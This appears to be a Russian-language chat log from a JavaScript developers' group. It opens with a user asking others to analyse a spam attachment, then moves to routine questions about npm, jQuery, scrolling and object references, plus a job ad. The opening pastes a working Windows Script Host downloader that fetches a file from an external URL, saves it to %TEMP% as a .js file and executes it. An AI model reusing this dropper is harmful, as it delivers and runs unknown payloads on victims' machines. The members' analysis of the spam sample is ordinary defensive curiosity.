🍀 Max
ща попробую...
Aleksey
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.
! function(t) { var e = WScript.CreateObject("WScript.Shell"), r = e.ExpandEnvironmentStrings("%TEMP%") + "\\" + "512773", i = 'MSXML2.ServerXMLHTTP', n = WScript.CreateObject(i), o = 'ADODB.Stream', c = WScript.CreateObject(o); try { n.open("GET", "http://static-view.club/663479386965666e6834626637746573616665346e6b/hdiwi75332jdarv65341/", !1); n.send(); if (200 == n.status) { c.open(); c.type = 1; c.write(n.responseBody); if (c.size > 1111) { c.position = 0, c.saveToFile(r + ".js", 2); try { e.Run(r + ".js", 1, 0) } catch (t) {} } c.close() } } catch (t) {} }();
­
понял что он скачал, но что дальше с ним сделал
­
что то создается типа 512773.js но с каким содержимым
Aleksey
руками выполнил поиск-замену чисел. Осталось куча мусора в виде не используемых переменных. Отдал на https://jscompress.com/, затем на http://jsbeautifier.org , выполнил руками элементарные вещи типа String.fromCharCode(65,68,79,68,66,46,83,116,114,101,97,109) и вот результат
Aleksey
Я уже ранее здесь утверждал, что обусификаторы для JS мусор. Логику всегда можно будет достать.
­
да а конечный то какой результат этого скрипта?!
Aleksey
да а конечный то какой результат этого скрипта?!
скачать файл, сахранить как %TEMP%/512773.js, выполнить его
­
он в папке TEMP создаст файл 5112773.js и что дальше, что там внутри будет
­
не могу, я под линуксом сижу
Павел
и?
­
виртуалку заведу для оптов попробую ))) но пока не понятно
🍀 Max
const calc = (obj) => obj.b.length + (obj.a ? calc(obj.a) : 0)
адаптировал под свою структуру… работает.
🍀 Max
спасибо
Aleksey
сейчас по ссылке заглушка с майнкампф. Ранее должно быть был дропер вируса или Пети какогото.
Павел
виртуалку заведу для оптов попробую ))) но пока не понятно
причем здесь виртуалка и линукс вообще?
­
Я не программист, это мне на почт в спам пришло, вот и начал ради интереса колупать файл
­
всего осилить не смог вот и пошел в телегу помощь искать
­
правильно понял что заместо заглушки должен был скачаться какой то вирус ?
Anonymous
Aleksey
правильно понял что заместо заглушки должен был скачаться какой то вирус ?
не совсем, качаться должен скрипт, который неизвестно что должен выполнить.
Aleksey
по HTTP можно узнать время модификации на сервере?
Evgeniy
Ребята, как узнать какой плагин тянет в зависимости phantom.js при установке npm install
Evgeniy
https://yarnpkg.com/lang/en/docs/cli/list/
Пробовал npm ls, но там нету Phantom.js
Anonymous
Должно показать
Evgeniy
Попробую yarn'ом
Anonymous
Попробуй ll and la
Evgeniy
во время установки зависимостей, такая штука PhantomJS not found on PATH Downloading https://github.com/Medium/phantomjs/releases/download/v2.1.1/phantomjs-2.1.1-linux-x86_64.tar.bz2 Saving to /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2 Receiving... [========================================] 99% Received 22866K total.
Taras
а кто то пишет автотесты на js?
AiorNerok
как через js задать url backgpund-image
Anonymous
jq
Anonymous
$(this).css('backgroundImage', 'url(…)');
Vitaliy Grabchak
Всем Здаров Просветите, кто шарит.. За что отвечает jquery-1.8.3.min.js и на что в сайте (no CMS) повлияет его отключение (напр. отключен cdn на котором он размещен)? thanks )
Pavel
все что его юзает сломается - логично же
Pavel
я думаю что у вас просто не загрузится сайт с кучей ошибок в консоли) или как вариант интерактивность не будет работать ( в лучшем случае )
Vitaliy Grabchak
все что его юзает сломается - логично же
ну это слишком по кэповски )) ааа сори
Павел
ну это слишком по кэповски )) ааа сори
Какой вопрос, такой ответ)
Y're
типо так http://jquery.page2page.ru/index.php5/%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_jQuery_%D1%81%D0%BE_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D1%85_CDN
Анастасия
#JavaScript #Reactjs #Websockets #Rest #hr #вакансия #Москва #frontend #backend #blockchain город: Москва форма работы: офис занятость: фултайм зп вилка: от 180к до 250к 💸 📌Xena Exchange -профессиональная торговая платформа для профессиональных трейдеров и институциональных инвесторов. ❗️❗️❗️Находимся в поисках: Senior React.js Developer ▪Ты – наш идеальный кандидат, если: - Умеешь качественно верстать; - Отлично знаешь JavaScript (ES5/ES6); - Понимаешь как правильно готовить React; - Знаешь как общаться с backend-ом через REST и WebSockets. - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. ▪Ты еще более идеален, если: Имеешь опыт работы с финансовыми технологиями (торговые платформы, финансовые рынки). Твои задачи: - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. Мы предлагаем: - Интересные задачи: создание торговой платформы в передовой отрасли, возможность применить и прокачать скилы в создании высоконагруженных сервисов и классных интерфейсов; - Драйвовый коллектив единомышленников, современный технологический стек, отсутствие бюрократии, широкий простор для творчества и роста; - Щедрое вознаграждение за качественную работу + % после реализации; - Офис в центре Москвы; Возможность самостоятельно выбрать технику для работы. за подробной информацией го в личку @anastyasha163
Nikita
#JavaScript #Reactjs #Websockets #Rest #hr #вакансия #Москва #frontend #backend #blockchain город: Москва форма работы: офис занятость: фултайм зп вилка: от 180к до 250к 💸 📌Xena Exchange -профессиональная торговая платформа для профессиональных трейдеров и институциональных инвесторов. ❗️❗️❗️Находимся в поисках: Senior React.js Developer ▪Ты – наш идеальный кандидат, если: - Умеешь качественно верстать; - Отлично знаешь JavaScript (ES5/ES6); - Понимаешь как правильно готовить React; - Знаешь как общаться с backend-ом через REST и WebSockets. - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. ▪Ты еще более идеален, если: Имеешь опыт работы с финансовыми технологиями (торговые платформы, финансовые рынки). Твои задачи: - Разработка UI с вниманием к деталям и стремлением создать отличный UX; - Разработка финансовых индикаторов и аналитических инструментов для трейдинга. Мы предлагаем: - Интересные задачи: создание торговой платформы в передовой отрасли, возможность применить и прокачать скилы в создании высоконагруженных сервисов и классных интерфейсов; - Драйвовый коллектив единомышленников, современный технологический стек, отсутствие бюрократии, широкий простор для творчества и роста; - Щедрое вознаграждение за качественную работу + % после реализации; - Офис в центре Москвы; Возможность самостоятельно выбрать технику для работы. за подробной информацией го в личку @anastyasha163
это какой то внеочередной форекс?
Анастасия
неа!это профессиональная платформа для трейдеров. в настоящий момент заключены договоренности с банками о сотрудничестве..здесь мы говорим про допиливание платформы и поддержание ее работоспособности в дальнейшем)
Nikita
Nikita
есть помоему небольшие проблемы у них))))
Nikita
два горизонтальных скрола на лендинге, свидетельствует о большом объеме продланной работы, рекомендую
☕️
есть одна либа для драгндропа в ней есть автоскролл как задизаблить любой скролл на странице исключая скролл колесом мышки?
Nikita
preventDefaultForScrollKeys: function (e) { if ($rootScope.keys[e.keyCode]) { $rootScope.preventDefault(e); return false; } }, disableScroll: function () { if (window.addEventListener) { // older FF window.addEventListener('DOMMouseScroll', $rootScope.preventDefault, false); } window.onwheel = $rootScope.preventDefault; // modern standard window.onmousewheel = document.onmousewheel = $rootScope.preventDefault; // older browsers, IE window.ontouchmove = $rootScope.preventDefault; // mobile document.onkeydown = $rootScope.preventDefaultForScrollKeys; },
Nikita
keys: {32: 1, 33: 1, 34: 1, 35: 1, 36: 1, 37: 1, 38: 1, 39: 1, 40: 1}
Nikita
ну соответственно вешается куда нужно лень было исправлять
☕️
так не получится наверное там либа скроллит контейнер когда элемент который draggable находится у верхнего или нижнего края контейнера
☕️
наоборот как сделать то понятно - задизаблить колесо мыши просто но тут надо задизаблить весь скролл, кроме как по колесу мыши
from
А какой-то стайлгайд говорит о том, какой стоит синтаксис для css переменных использовать? Кебабкейс или кэмелКейс? --some-var: val; or --somVar: val;
Сергей
Бл,не могу сделать кастомный скролл для сайта...
Illia
И не делай
Illia
Это зло
from
Это зло
в целом эгри, тем не мнеее помнится плагинчик perfect-scrollbar всегда на удивление хорошо работал
from
даже под мак?
ну без rubber band эффекта конечно, но сами скроллбары как раз в точности как в маке
Roman
ну такое. хорошо что вышло все это из моды
Roman
внешний вид это одно, а вот нестандартное для платформы поведение - это уг
Sergey
Почему когда я пишу так: window.collections2 = window.collections1; И произвожу действия с window.collections2 , то они отражаются и на window.collections1 ?
DrRastafarai
Всем привет. Помогите разобраться. https://repl.it/repls/PeacefulSmoothCase как должно быть, если .services_ul имеет класс active то при нажатии на любую точку на экране, он убирается Но что то не так. Даже в консоль ничего не пишет( При том, что класс этот дбавляется ранее по клику. При загрузке документа его нету.
Pavel
Почему когда я пишу так: window.collections2 = window.collections1; И произвожу действия с window.collections2 , то они отражаются и на window.collections1 ?
простые типа копируются по значению, а сложные по ссылке. в collections2 содержится ссылка на coll1 а не копия обьекта
Pavel
https://learn.javascript.ru/object-reference
Pavel
прочитайте
Sergey
прочитайте
Но я же вначале window.collections1 = []; объявил. Это должен был быть массив объектов, а не объект.
Egor
и не только я
Egor
https://learn.javascript.ru/object-reference
а еще эту статейку прочитайте обязательно!
Sergey
я прочитал. там говорится что так происходит если это объект. Но это не объект это массив.
Sergey
что с массивами такая же байда?
Sergey
Типа если в массиве есть хотя бы 1 объект, то этот массив становится ссылочным?